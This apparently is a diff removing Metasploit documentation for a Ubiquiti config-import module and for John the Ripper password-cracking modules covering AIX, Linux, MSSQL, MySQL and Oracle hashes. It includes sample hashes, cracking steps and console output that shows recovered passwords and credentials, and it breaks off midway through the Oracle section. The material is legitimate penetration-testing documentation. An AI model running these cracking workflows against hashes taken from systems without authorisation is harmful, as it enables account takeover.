msf5 auxiliary(admin/ubiquiti/ubiquiti_config) > set config /root/.msf4/loot/db
|
||||
config => /root/.msf4/loot/db
|
||||
msf5 auxiliary(admin/ubiquiti/ubiquiti_config) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Converting config BSON to JSON
|
||||
[+] Admin user unifiadmin with email admin@unifi.com found with password hash $6$R6qnBHgF$CHYrf4t.fXu0pcoloju5a85m3ujrjJLhIO.lN1xZqHZPQoUXXsJB98jgtsvt4Qo2/8t3epzbVLiba7Ls7GCVxcV.
|
||||
[+] Radius server: 1.1.1.1:1812 with secret ''
|
||||
[+] Mesh Wifi Network vwire-111117d211c1c1ea password 113b9b872b1114a9111f1a11ae11cdfe
|
||||
[+] SSH user admin found with password lyxGYOF9UalubyyG and hash $6$37uelU/k$EkJuteQiAIP.CrRaJj4xC9gt61n95FJP3fQuQQmE9TqtFKtmIGsV5XSIJI.muBLOMKMkdlsPl8E3BvjJit.F21
|
||||
[+] Config import successful
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
@@ -1,141 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode AIX
|
||||
based password hashes, such as:
|
||||
|
||||
* `DES` based passwords
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with a `des` password in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/jtr_aix```
|
||||
4. Do: ```run```
|
||||
5. You should hopefully crack a password.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**JOHN_PATH**
|
||||
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
|
||||
`john` and `john.exe`.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Create hashes:
|
||||
|
||||
```
|
||||
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
|
||||
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
|
||||
```
|
||||
|
||||
Crack them:
|
||||
|
||||
```
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190211-5021-1p3x0lx
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190211-5021-66w3u0
|
||||
[*] Cracking descrypt hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
0g 0:00:00:00 DONE (2019-02-11 19:29) 0g/s 4206Kp/s 4206Kc/s 4206KC/s scandal..vagrant
|
||||
Session completed
|
||||
[*] Cracking descrypt hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
0g 0:00:00:05 DONE (2019-02-11 19:29) 0g/s 6681Kp/s 6681Kc/s 6681KC/s qt1902..tude1900
|
||||
Session completed
|
||||
[*] Cracking descrypt hashes in incremental mode (Digits)...
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Warning: MaxLen = 20 is too large for the current hash type, reduced to 8
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
0g 0:00:00:05 DONE (2019-02-11 19:29) 0g/s 21083Kp/s 21083Kc/s 21083KC/s 73602400..73673952
|
||||
Session completed
|
||||
[*] Cracked Passwords this run:
|
||||
[+] des_password:password
|
||||
[+] des_passphrase:????????se
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(analyze/jtr_aix) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
des_passphrase ????????se Password
|
||||
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
|
||||
des_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
des_password password Password
|
||||
|
||||
```
|
||||
@@ -1,176 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Linux
|
||||
based password hashes, such as:
|
||||
|
||||
* `DES` based passwords
|
||||
* `MD5` based passwords
|
||||
* `BSDi` based passwords
|
||||
* With `crypt` set to `true`:
|
||||
* `bf`, `bcrypt`, or `blowfish` based passwords
|
||||
* `SHA256` based passwords
|
||||
* `SHA512` based passwords
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
The definition of `crypt` according to JTR and waht algorithms it decodes can be found
|
||||
[here](https://github.com/magnumripper/JohnTheRipper/blob/ae24a410baac45bb36884d793c429adeb7197336/src/c3_fmt.c#L731)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `des`, `md5`, `bsdi`, `crypt`, `blowfish`, `sha512`, or `sha256` password hash in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/jtr_linux```
|
||||
4. Do: ```run```
|
||||
5. You should hopefully crack a password.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRYPT**
|
||||
|
||||
Include `blowfish` and `SHA`(256/512) passwords.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**JOHN_PATH**
|
||||
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
|
||||
`john` and `john.exe`.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Create hashes:
|
||||
|
||||
```
|
||||
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
|
||||
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
|
||||
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
|
||||
creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256,crypt
|
||||
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512,crypt
|
||||
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
|
||||
```
|
||||
|
||||
Crack them:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/analyze/jtr_linux
|
||||
msf5 auxiliary(analyze/jtr_linux) > set crypt true
|
||||
crypt => true
|
||||
msf5 auxiliary(analyze/jtr_linux) > run
|
||||
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190211-5021-hqwf2h
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190211-5021-1ixz59k
|
||||
[*] Cracking md5crypt hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] md5_password:password
|
||||
[*] Cracking descrypt hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] des_password:password
|
||||
[*] Cracking bsdicrypt hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] bsdi_password:password
|
||||
[*] Cracking crypt hashes in normal wordlist mode...
|
||||
Warning: hash encoding string length 20, type id #4
|
||||
appears to be unsupported on this system; will not load such hashes.
|
||||
Warning: hash encoding string length 60, type id $2
|
||||
appears to be unsupported on this system; will not load such hashes.
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] des_password:password
|
||||
[+] md5_password:password
|
||||
[+] sha256_password:password
|
||||
[+] sha512_password:password
|
||||
[*] Cracking bcrypt hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] blowfish_password:password
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(analyze/jtr_linux) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
bsdi_password password Password
|
||||
des_password password Password
|
||||
sha256_password $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 Nonreplayable hash sha256,crypt
|
||||
md5_password password Password
|
||||
md5_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
|
||||
bsdi_password _J9..K0AyUubDrfOgO4s Nonreplayable hash bsdi
|
||||
sha512_password password Password
|
||||
blowfish_password $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe Nonreplayable hash bf
|
||||
sha512_password $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 Nonreplayable hash sha512,crypt
|
||||
sha256_password password Password
|
||||
des_password rEK1ecacw.7.c Nonreplayable hash des
|
||||
blowfish_password password Password
|
||||
|
||||
```
|
||||
@@ -1,157 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Microsoft
|
||||
SQL based password hashes, such as:
|
||||
|
||||
* `mssql` based passwords
|
||||
* `mssql05` based passwords
|
||||
* `mssql12` based passwords
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `mssql`, `mssql05` or `mssql12` password in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/jtr_mssql_fast```
|
||||
4. Do: ```run```
|
||||
5. You should hopefully crack a password.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**JOHN_PATH**
|
||||
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
|
||||
`john` and `john.exe`.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Create hashes:
|
||||
|
||||
```
|
||||
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
|
||||
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
|
||||
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
|
||||
```
|
||||
|
||||
Crack them:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/analyze/jtr_mssql_fast
|
||||
msf5 auxiliary(analyze/jtr_mssql_fast) > run
|
||||
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-u353o8
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-hcwr36
|
||||
[*] Cracking mssql05 hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql05 hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql05 hashes in incremental mode (Digits)...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] mssql05_toto:toto
|
||||
[+] mssql_foo:foo
|
||||
[+] mssql05_toto:toto
|
||||
[+] mssql_foo:foo
|
||||
[*] Cracking mssql hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql hashes in incremental mode (Digits)...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] mssql_foo:FOO
|
||||
[+] mssql_foo:FOO
|
||||
[*] Cracking mssql12 hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql12 hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mssql12 hashes in incremental mode (Digits)...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] mssql12_Password1!:Password1!
|
||||
[+] mssql12_Password1!:Password1!
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(analyze/jtr_mssql_fast) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
mssql05_toto toto Password
|
||||
mssql05_toto 0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 Nonreplayable hash mssql05
|
||||
mssql_foo FOO Password
|
||||
mssql_foo foo Password
|
||||
mssql_foo 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 Nonreplayable hash mssql
|
||||
mssql12_Password1! Password1! Password
|
||||
mssql12_Password1! 0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 Nonreplayable hash mssql12
|
||||
|
||||
```
|
||||
@@ -1,139 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode MySQL
|
||||
based password hashes, such as:
|
||||
|
||||
* `mysql` (pre 4.1) based passwords
|
||||
* `mysql-sha1` based passwords
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `mysql`, or `mysql-sha1` password in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/jtr_mysql_fast```
|
||||
4. Do: ```run```
|
||||
5. You should hopefully crack a password.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**JOHN_PATH**
|
||||
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
|
||||
`john` and `john.exe`.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Create hashes:
|
||||
|
||||
```
|
||||
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
|
||||
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
|
||||
```
|
||||
|
||||
Crack them:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/analyze/jtr_mysql_fast
|
||||
msf5 auxiliary(analyze/jtr_mysql_fast) > run
|
||||
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-o7pt47
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-3t366y
|
||||
[*] Cracking mysql hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql hashes in incremental mode (Digits)...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] mysql_probe:probe
|
||||
[*] Cracking mysql-sha1 hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql-sha1 hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking mysql-sha1 hashes in incremental mode (Digits)...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] mysql-sha1_tere:tere
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(analyze/jtr_mysql_fast) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
mysql_probe probe Password
|
||||
mysql_probe 445ff82636a7ba59 Nonreplayable hash mysql
|
||||
mysql-sha1_tere tere Password
|
||||
mysql-sha1_tere *5AD8F88516BD021DD43F171E2C785C69F8E54ADB Nonreplayable hash mysql-sha1
|
||||
|
||||
```
|
||||
@@ -1,168 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode oracle
|
||||
based password hashes, such as:
|
||||
|
||||
* `oracle` (<=10) aka `des` based passwords
|
||||
* `oracle11` based passwords
|
||||
* Oracle 11 and 12c backwards compatibility `H` field (MD5)
|
||||
* `oracle12c` based passwords
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
For a detailed explanation of Oracle 11/12c formats, see
|
||||
[www.trustwave.com](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/).
|
||||
|
||||
Oracle 11/12c `H` field is `dynamic_1506` in JtR and added
|
||||
[here](https://github.com/magnumripper/JohnTheRipper/commit/53973c5e6eb026ea232ba643f9aa20a1ffee0ffb)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `oracle`, `oracle11`, or `oracle12c` password in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/jtr_oracle_fast```
|
||||
4. Do: ```run```
|
||||
5. You should hopefully crack a password.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**JOHN_PATH**
|
||||
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
|
||||
`john` and `john.exe`.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Create hashes:
|
||||
|
||||
```
|
||||
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
|
||||
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
|
||||
